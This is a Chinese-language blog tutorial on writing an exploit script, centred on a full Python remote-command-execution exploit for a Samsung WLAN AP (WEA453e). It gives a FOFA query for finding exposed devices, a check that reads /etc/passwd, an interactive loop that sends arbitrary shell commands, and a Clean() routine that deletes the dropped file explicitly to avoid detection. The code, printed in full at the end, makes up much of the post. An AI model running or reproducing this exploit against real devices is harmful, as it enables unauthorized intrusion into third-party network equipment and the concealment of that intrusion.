Drunkmars's Blog

如何编写属于自己的第一个exp

字数统计: 2.9k阅读时长: 11 min
2021/06/01 Share

本文首发于安全客:https://www.anquanke.com/post/id/240010

在我们找到一个漏洞之后,可能会想着去fofa上搜语法进而扩大战果,而有些漏洞利用起来十分繁琐,这时候就需要一个exp来批量帮我们进行扫描工作,接下来就介绍一下如何进行exp的编写,这个过程中最重要的还是体现编程思想。

0x01 搭建框架

这里注意一个思想,你要想利用exp去批量打一个漏洞,那必须要存在这个漏洞才能够用exp去利用,可能有的师傅会说,存不存在这个漏洞交给poc去检测啊?

但是我想说的是,一个好的exp并不是单单只是漏洞的利用,而是结合了检测和利用两个模块在一起,所以我在编写exp的过程中都会选择先去检测这个漏洞,再对这个漏洞进行批量利用。

我个人的习惯是先把大体框架搭建出来,可能有些师傅喜欢写一块想一块,但是这里就体现了一个框架的编程思想,你在进行exp的编写时需要考虑到你这个exp需要进行哪几个大的过程去利用这个漏洞。如果写一块想一块的话,一是可能有些地方会漏掉,二是有一些变量可以作为全局变量来使用的却要用局部变量写很多次。

首先养成一个良好的习惯在py头加上一些注释信息,因为你这个py开发出来是要面向大众使用的,而不是你一个人用,所以在别人使用你的程序时,需要知道你这个程序到底是用什么语言写的,python2还是python3,或者其他的一些信息,所以一个好的注释是非常有必要的。

这里就注释了python3编写,以及怎么找这个漏洞的fofa语句,以及我自己的作者姓名

接下来就是引入一些库,sys、os、requests这些库都是老生常谈的了,这里着重介绍一下这一行代码的意思

1
from urllib3.exceptions import InsecureRequestWarning

我们知道https的站都是会有证书验证的,我们在使用Python3 requests发送HTTPS请求,已经关闭认证(verify=False)情况下,控制台会输出以下错误:

1
InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings

这里我们加上使用这个库就是为了禁用requests发送HTTPS请求后的安全警告

然后就是搭建一个框架,定义一个Check()函数意为检查这个漏洞是否存在,Expliot()函数意为发包去利用这个漏洞,再就是一个主函数

这里我需要提的一个点是函数的命名一定要和这个函数的功能密切相关,否则别人在使用你这个py的时候不能够一眼就知道这个函数大概是干什么的,还需要去看一遍代码,就会十分的麻烦

![img](t01b051f755d7534210.png)

到这我们的大体框架就已经搭建完毕

0x02 函数编写

我们先看一下这个漏洞的poc&exp,以及真实情况下bp发送的数据包

![img](t010e9e231ff95da05d.png)

![img](t01d60486e01c869955.png)

可以发现这里是发送了一个POST请求,内容为command1=shell:cat /etc/passwd| dd of=/tmp/a.txt,然后返回包为系统的一些信息

那我们这里首先定义一个headers位于全局变量里

![img](t01fa1cc5ad22c41949.png)

再定义一个CheckData作为Check()函数发包时的Data使用

![img](t01dc83faeaa1c965d6.png)

然后我们定义一个response发送post请求,这里verify = False就是上文提到的关闭安全验证

这里我们看一下headers、CheckData都有定义,这个payload没有被定义,所以我还需要定义一下payload到底是个什么参数

因为在Exploit()这个模块里也需要用到payload,所以我直接选择将payload定义到主函数里,这样就可以当作全局变量来使用

![img](t01dbf6ca98b60d7e47.png)

这里我们来到主函数

这里我先规范一下输入的东西,我们知道一些程序在你没有输入程序规定的数据时会报错,这里我们也设置一下

这里我用到了一个sys.argv

1
2
3
sys.argv[0]是代表当前所执行的脚本`
`sys.argv[1] 脚本第一个参数`
`所以len(sys.argv) == 2 代表当前脚本含有1个参数

那么我这里用到的if(len(sys.argv) < 2)如果成立,以为着后面时没有参数的,所以这里我输出一个UseAgeExample告诉使用者格式应该是怎样的

![img](t013eb8aea50a5cceeb.png)

再定义一个target指向输入的这个参数,然后定义一下payload,看一下返回包的这个地方

![img](t017896b9c4832cb6f7.png)

发送了POST请求,而这个POST请求当然是我们要利用漏洞的这个主机发出的,而目标主机的ip作为参数传入,我把它放到了target里面,这样的话构造出来payload就应该为

1
payload = target + "/(download)/tmp/hello.txt"

![img](t019bb860309c511442.png)

payload构建完成那么我们再回到Checking()函数里,我们知道响应成功的话网站是会返回200的校验码的,所以这里我们就可以写一个if..else..语句来进行判断是否返回200来判断漏洞存不存在

另外观察bp的返回包里有root:,那么我们也可以把root:作为判断的条件写入语句来判断漏洞是否存在

![img](t01a6b417e4e3ca7d40.png)

但是还有一种情况,如果发送数据包超时了的话,就说明这个服务器不能够接受这个请求,这里我们就还需要补充一个excpet即额外的情况,那么就直接输出服务器错误,函数就不再往下执行

到这里我们的Check()函数就已经编写完毕

![img](t01c05a452946785caa.png)

那我们继续往下来到Exploit()即漏洞利用这个模块编写,之前我们运行了Check()函数,用了一个if..else..语句对返回包进行判断,如果有200存在则返回True,那么这个地方我们首先要判断上一个函数是否返回的为True,如果不为True我们肯定就没有必要再往下执行这个Exploit()函数

这里我们为了提示用户我们已经进到了Exploit()利用这个函数,我们input一个"# "

![img](t010e019fe5d1772a0f.png)

这时候我们再看一下bp发送的包

![img](t01d737deddaeee55f7.png)

这里发现"shell:"后面到"|"之前的为linux语句,所以这个地方我们将cat /etc/passwd改为我们想要查询的语句构造成ExpData

![img](t01caa3184238267f3d.png)

然后还是用post请求发送一个包,这个地方就不需要判断了,因为判断已经在Check()函数里面了,这里我们直接将返回的数据打印出来即可

![img](t01b17e74799f97eb37.png)

还有一个问题,如果有些命令对面主机不支持怎么办呢,这里我们就再用一个except来输出一个提示信息告诉使用者这个命令对面主机不能使用这个命令

![img](t01853e22664291bcc6.png)

到这个地方Exploit()函数也已经编写完毕了,那么就到了exp的最后一步,对主函数进行完善

这里首先加上一行,之前介绍过的不提示https的安全信息

![img](t01b5b84163bce6a410.png)

还有一个逻辑就是,你必须检测出漏洞了才能够继续往下到Exploiot()函数进行利用,所以这个地方我们在加上一个while语句的判断

![img](t015c83e98ec109d494.png)

到这我们这样一个exp就已经大公告成了,这里我在fofa上随便找一个站来试试效果

![img](t018cced8848ec202db.png)

首先我直接利用这个py,不传参数进去,它会显示一个UseAgeExample出来提示我应该怎样使用

![img](t0129083c69ef63bf25.png)

当我输入了一个正确网站的时候就能够正常利用了

![img](t01916eb0dcdd0e8ac2.png)

但是这里又出现了一个问题,有些命令不能够使用怎么办呢

![img](t0184649d5bb84a6733.png)

这个漏洞我在查阅资料后发现有一个busybox,能够支持很多命令,如下图所示

现在我再执行whoami命令就可以看到回显了

但是这里又出现了一个问题,就是每次退出的时候都要 ctrl+c 界面就很难看,进入之后也不能够用cls清屏,作为强迫症的我决定继续完善

![img](t01b1a11895756f7044.png)

当我输入exit时调用sys.exit()方法退出程序,当我输入cls时调用os.system("cls")方法清屏,这样看起来就美观多了

![img](t01ded7c0c6cf256a25.png)

这个漏洞需要想目标机发送一个POST请求生成一个hello.txt,那么在利用完成之后就会把hello.txt留在目标机里,这样就增大了被发现入侵过了可能性,所以我这里再加一个Clean()函数对这个txt进行清理

这里使用的命令应该是rm -f,但是它这个就需要在busybox里面调用,所以这个地方在前面加上一个busybox即可

![img](t01dd43f39a1a60e5cc.png)

返回200状态码即为清除成功,否则的话清除失败

这里也需要加上一个except来判断目标机是否接收到了我们发送的这个请求

![img](t010ced2224165d93b0.png)

因为我们清理的话需要传入两个参数,所以这里加上一个sys.argv对传入进行判断,当第二个参数为clean则执行Clean(),否则报错

![img](t015a6136de1c1a39f5.png)

这里再试试效果

![img](t01740338e34e7d81fa.png)

![img](t0171852be25a00eecb.png)

在后面我对输出信息进行了更一步的美化,如下图所示

![img](t010c97dbbec437bc18.png)

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
! /usr/bin/python3
fofa search: title="Samsung WLAN AP"
Author Drunkmars



import sys
import requests
import time
import os
from urllib3.exceptions import InsecureRequestWarning


def Checking():
try:
Url = target + "(download)/tmp/hello.txt"
CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt"
response = requests.post(url = Url,data = CkData,verify = False,timeout = 20)
if(response.status_code == 200 and 'root:' in response.text):
return True
else:
return False
except Exception as e:
#print("checking")
print("[-] Server Error!")

def Exploit():
Url = target + "(download)/tmp/hello.txt"
while True:
try:
command = input("# ")
if(command == 'exit'):
sys.exit()
if(command == 'cls'):
os.system("cls")
continue
data = "command1=shell:" + command + "| dd of=/tmp/hello.txt"
response = requests.post(url = Url,data = data,verify = False,timeout = 20)
if(response.text == None):
print("[!] Server reply nothing")
else:
print(response.text)
except Exception as e:
print("[-] Server not suport this command")
def Clean():
Url = target + "(download)/tmp/hello.txt"
try:
CleanData = "command1=shell:busybox rm -f /tmp/hello.txt"
response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10)

if(response.status_code == 200):
print("[+] Clean target successfully!")
sys.exit()
else:
print("[-] Clean Failed!")
except Exception as e:
print("[-] Server error!")

if __name__ == '__main__':
if(len(sys.argv) < 2):
print("|-----------------------------------------------------------------------------------|")
print("| WLAN-AP-WEA453e Rce |")
print("| UseAge: python3 exploit.py target |")
print("| Example: python3 exploit.py https://192.168.1.1/ |")
print("| Clean target: python3 exploit.py https://192.168.1.1/ clean |")
print("| [!] Learning only |")
print("|___________________________________________________________________________________|")
sys.exit()
target = sys.argv[1]
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

if(len(sys.argv) == 3):
module = sys.argv[2]
if(module == 'clean'):
Clean()
else:
print("[-] module error!")

while Checking() is True:
Exploit()

0x03 后记

exp的编写其实大同小异,主要是首先要搭建起一个框架,知道每一步需要干些什么事情,其实exp的编写也没有想象中的那么难,可能是这个漏洞的利用比较简单,写起来也比较顺畅,这里如果有什么问题欢迎师傅们进行斧正。

CATALOG
  1. 1. 0x01 搭建框架
  2. 2. 0x02 函数编写
  3. 3. 0x03 后记